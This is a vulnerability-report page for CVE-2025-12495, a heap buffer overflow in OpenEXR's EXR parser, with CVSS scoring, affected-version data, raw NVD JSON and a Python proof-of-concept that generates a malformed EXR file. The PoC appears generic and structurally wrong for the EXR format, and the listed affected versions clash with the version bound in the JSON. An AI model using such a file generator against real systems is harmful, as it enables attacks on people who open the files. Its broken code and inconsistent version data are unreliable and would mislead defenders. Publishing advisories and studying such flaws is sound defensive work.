Security Vulnerability Report
中文
CVE-2025-12495 CVSS 7.8 HIGH

CVE-2025-12495

Published: 2025-12-23 22:15:44
Last Modified: 2026-01-15 16:45:38

Description

Academy Software Foundation OpenEXR EXR File Parsing Heap-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Academy Software Foundation OpenEXR. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of EXR files. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-27946.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:openexr:openexr:*:*:*:*:*:*:*:* - VULNERABLE
Academy Software Foundation OpenEXR < 3.3.0
Academy Software Foundation OpenEXR < 3.2.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-12495 PoC - Malicious EXR File Generator # Target: Academy Software Foundation OpenEXR # Vulnerability: Heap-based Buffer Overflow in EXR File Parsing import struct import os def create_malicious_exr(output_path): """ Generate a malicious EXR file to trigger heap buffer overflow. This PoC demonstrates the vulnerability in OpenEXR's EXR parsing. """ # EXR magic number (big-endian) exr_magic = b'\x76\x2f\x31\x01' # Version field - standard EXR version header version = struct.pack('>I', 2) # version number # Malicious channel information with oversized data length # This triggers the buffer overflow when parsed channel_name = b'A' * 1024 # Oversized channel name # Construct malformed chunk data # The parser will attempt to copy this into undersized buffer malicious_data = b'\x00' * 2048 + b'\x41' * 512 # Complete EXR header with malicious attributes header = exr_magic + version header += b'channels' + b'\x00' # Channel attribute name header += struct.pack('B', 1) # Type indicator header += struct.pack('>Q', len(channel_name)) # Oversized length header += channel_name # Write the malicious EXR file with open(output_path, 'wb') as f: f.write(header) f.write(malicious_data) print(f"[+] Malicious EXR file created: {output_path}") print(f"[+] File size: {os.path.getsize(output_path)} bytes") print("[*] This file triggers heap buffer overflow in OpenEXR parser") if __name__ == '__main__': import sys output = sys.argv[1] if len(sys.argv) > 1 else 'CVE-2025-12495.malicious.exr' create_malicious_exr(output)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12495", "sourceIdentifier": "[email protected]", "published": "2025-12-23T22:15:44.147", "lastModified": "2026-01-15T16:45:37.813", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Academy Software Foundation OpenEXR EXR File Parsing Heap-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Academy Software Foundation OpenEXR. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the parsing of EXR files. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-27946."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openexr:openexr:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.4.3", "matchCriteriaId": "A698C88E-D934-4BCC-9811-3D6FEDFC8320"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-989/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}